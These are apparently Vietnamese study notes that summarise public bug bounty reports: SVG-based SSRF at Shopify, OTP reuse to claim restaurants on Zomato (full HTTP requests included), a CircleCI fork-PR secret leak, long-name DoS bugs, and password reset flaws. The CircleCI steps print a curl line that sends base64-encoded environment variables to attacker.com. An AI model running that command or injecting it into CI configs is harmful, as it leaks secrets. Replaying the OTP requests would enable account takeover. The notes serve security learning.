SSRF in hatchful.shopify.com
SSRF SVG
Attacker phát hiện ra ở chức năng tạo logo của Shopify cho phép chọn logo trong wysiwyg editor và nhập email rồi đợi. Trong quá trình này, application gửi đến browser hàng loạt gói tin web socket bao gồm một số file SVG mà đã bị escape dấu "
. Sau đó, các file SVG này được browser gửi đến server để server chuyển thành file PNG và gửi qua email cho user.
Attacker có thể thay đổi file SVG gửi đến server và thêm vào xlink:href object
nhằm:
- Liên kết đến các local image file của server.
- Tấn công DoS converter server.
- Chuyển protocol thành FTP để kết nối đến các FTP servers.
- Thử exploit các lỗ hổng chẳng hạn như Imagetragic hoặc XXE.
Lack of Input Validation that Can Lead Denial of Service (DOS)
Attacker chỉ đơn giản là thay đổi username thành một chuỗi có nhiều ký tự và làm server trả về 500.
Mặc dù không chắc nó có thể gây ra DoS nhưng đây vẫn là một case đáng để học hỏi.
Claiming the Listing of a Non-delivery Restaurant through OTP Manipulation
Tồn tại endpoint POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2
dùng để gửi OTP đến số điện thoại của nhà hàng:
POST /restaurant-onboard-diy/v2/send-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 58
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"number":"XXXXXXXXXX","isdCode":"+91","resId":"XXXXXXXXXX"}
Response:
{"status":"success","message":"OTP SENT","requestId":XXXXXXX,"code":2}
Attacker sẽ gửi request trên với number
và resId
là của hắn ta (attacker cần phải đăng ký một nhà hàng với số điện thoại của hắn) rồi lấy mã OTP. Sau đó, dùng request sau để claim nhà hàng bất kỳ:
POST /restaurant-onboard-diy/v2/verify-auto-claim-otp HTTP/2
Host: www.zomato.com
Cookie: XXXXXXXXXXXXXXXX
Content-Length: 68
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
X-Zomato-Csrft: XXXXXXXXXXXXXXXXXXXXX
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://www.zomato.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.zomato.com/partner_with_us/ownership
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"verificationCode":XXX,"requestId":"XXXXXXXX","resId":"XXXXXXXXX"}
Với verificationCode
mà attacker đã nhận được và resId
là ID của nhà hàng nạn nhân. Nếu nhà hàng nào không map owner/manager với nhà hàng thì attacker có thể claim nhà hàng đó.
Có thể thấy, việc dùng một OTP hợp lệ để attack tương tự với bug Bypass OTP Verification Code.
A Very long name in hey.com
Can Prevent Anyone from Accessing Their Contacts and Probably Can Cause Denial of Service
Bằng đổi tên người dùng thành một cái tên thật dài sử dụng endpoint https://app.hey.com/contacts/%user_id_number%/user/edit
, attacker có thể DoS client-side và thậm chí có thể là server-side khi nhận được response có status code là 500 (nhưng không có gì chứng minh được rằng nó có thể gây DoS server-side).
SVG Parser Loads External Resources on Image Upload SSRF SVG
Attacker có thể upload file SVG mà có chứa attribute xlink:href
trong thẻ image mà làm cho server gửi request đến URL được specify trong attribute đó. Đây là một dạng của SSRF tương tự như [[#[SSRF in hatchful.shopify.com
](https //hackerone.com/reports/409701) SSRF SVG]].
Nextcloud-snap CircleCI Project Has Vulnerable Configuration Which Can Lead to Exposing Secrets
CircleCI cho phép các project có thể quyết định xem nên build hay không dựa trên pull request từ một fork và cho phép pull request có quyền truy cập vào các biến môi trường trong repo cha hay không. Khi cả 2 settings này được bật lên và repo gắn với project cho phép PR từ fork của bất kỳ user nào thì có thể bị lộ các biến môi trường nhạy cảm.
CircleCI project của nextcloud/nextcloud-snap
(của program) được cấu hình ở trong một trạng thái có thể bị tấn công bởi mô tả trên.
Cách tấn công:
- Fork
nextcloud/nextcloud-snap
sử dụng một user nào đó. - Tạo branch mới và chỉnh sửa
.circleci/config.yml
để exfiltrate các biến môi trường chẳng hạn như thêm vào- run: curl https://attacker.com/?env=$(env | base64 | tr -d '\n')
mà sẽ được thực thi trong lúc build. - Gửi branch này như là một PR đến repo gốc.
- Theo dõi log ở
attacker.com
để thấy biến môi trường được lưu ở trongnextcloud/nextcloud-snap
bị leaked thông qua query param.
Debugging Panel Exposure
LINE GAME để lộ debug panel mà không có access control. Khi truy cập vào URL của debug panel, attacker có thể thấy được thông tin về tài nguyên của server và database schema.
Reset Password More than once with a Reset Link
URL để reset mail có thể được dùng để thay đổi password nhiều lần. Thực hiện tấn công như sau:
- Gửi yêu cầu reset password
- Click vào reset link
- Nhập password mới và cập nhật password. Sau đó, application sẽ redirect về trang login.
- Nhấn gửi yêu cầu reset password lần nữa.
- Thay vì hiển thị thông báo yêu cầu user check mail thì nó lại hiển thị prompt yêu cầu nhập password mới.
- Nhập password mới và cập nhật thành công.
Kịch bản tấn công có thể là: attacker dụ nạn nhân thay đổi password một lần rồi thực hiện bước 4 đến bước 6 để thay đổi password của tài khoản nạn nhân mà không cần quyền truy cập vào email hay reset link.
Insecure Account Removal
Application cho phép tạo tài khoản nhưng không cần nhập password và việc xóa tài khoản cũng không yêu cầu đăng nhập lại (do không có password).
Gain Reputation by Creating a Duplicate of an Existing Report
Bug này cho phép researcher khi gửi một report bị duplicate thì có thể liên tục gửi report có cùng nội dung để gia tăng điểm reputation (duplicate vẫn có điểm).